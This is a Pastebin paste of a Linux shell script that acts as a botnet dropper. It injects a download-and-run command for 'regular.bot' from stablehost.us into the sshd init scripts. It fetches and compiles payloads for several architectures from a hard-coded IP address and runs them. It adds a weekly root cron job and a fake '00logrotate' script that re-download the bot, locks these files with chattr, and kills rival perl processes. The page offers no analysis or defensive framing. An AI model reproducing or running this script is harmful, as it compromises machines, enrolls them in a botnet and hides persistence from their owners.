Advertisement
Guest User

Untitled

a guest
Oct 23rd, 2014
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.41 KB | None | 0 0
  1. echo "nameserver 4.2.2.2" >> /etc/resolve.conf;
  2.  
  3.  
  4. sed -i 's=umask 022=umask 022;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh=g' /etc/rc.d/init.d/sshd;
  5.  
  6. sed -i 's=umask 022=umask 022;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh=g' /etc/init.d/ssh;
  7.  
  8. wget http://205.237.100.171/manual/b -O /tmp/init;
  9. wget http://205.237.100.171/manual/arm -O /tmp/arm;
  10. wget http://205.237.100.171/manual/mipsel1 -O /tmp/mips
  11. chmod +x /tmp/arm /tmp/init /tmp/mips
  12. curl -o /tmp/init http://205.237.100.171/manual/b;
  13.  
  14. wget http://205.237.100.171/manual/a.c -O /tmp/a.c;
  15.  
  16. curl -o /tmp/a.c http://205.237.100.171/manual/a.c;
  17.  
  18. gcc -o /tmp/init /tmp/a.c;
  19.  
  20. /tmp/init;
  21.  
  22. rm -rf /tmp/a.c /tmp/init;
  23.  
  24.  
  25.  
  26. echo "@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1" >/tmp/c;
  27.  
  28. crontab /tmp/c;
  29.  
  30. rm -rf /tmp/c;
  31.  
  32. chattr +isa /var/spool/cron/tabs/root;
  33. chattr +isa /var/spool/cron/tabs;
  34.  
  35.  
  36. echo "#!/bin/sh" > /etc/cron.weekly/00logrotate;
  37.  
  38. echo "wget http://stablehost.us/bots/regular.bot -O /tmp/sh" >>/etc/cron.weekly/00logrotate;
  39.  
  40. echo "curl -o /tmp/sh http://stablehost.us/bots/regular.bot" >> /etc/cron.weekly/00logrotate;
  41.  
  42. echo "sh /tmp/sh;rm -rf /tmp/sh" >>/etc/cron.weekly/00logrotate;
  43. chmod +x /etc/cron.weekly/00logrotate;
  44. chattr +isa /etc/cron.weekly/00logrotate;
  45.  
  46. #rm /usr/bin/chattr;
  47.  
  48.  
  49. kill -9 `ps -aux|grep perl|awk {'print $2'}`;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement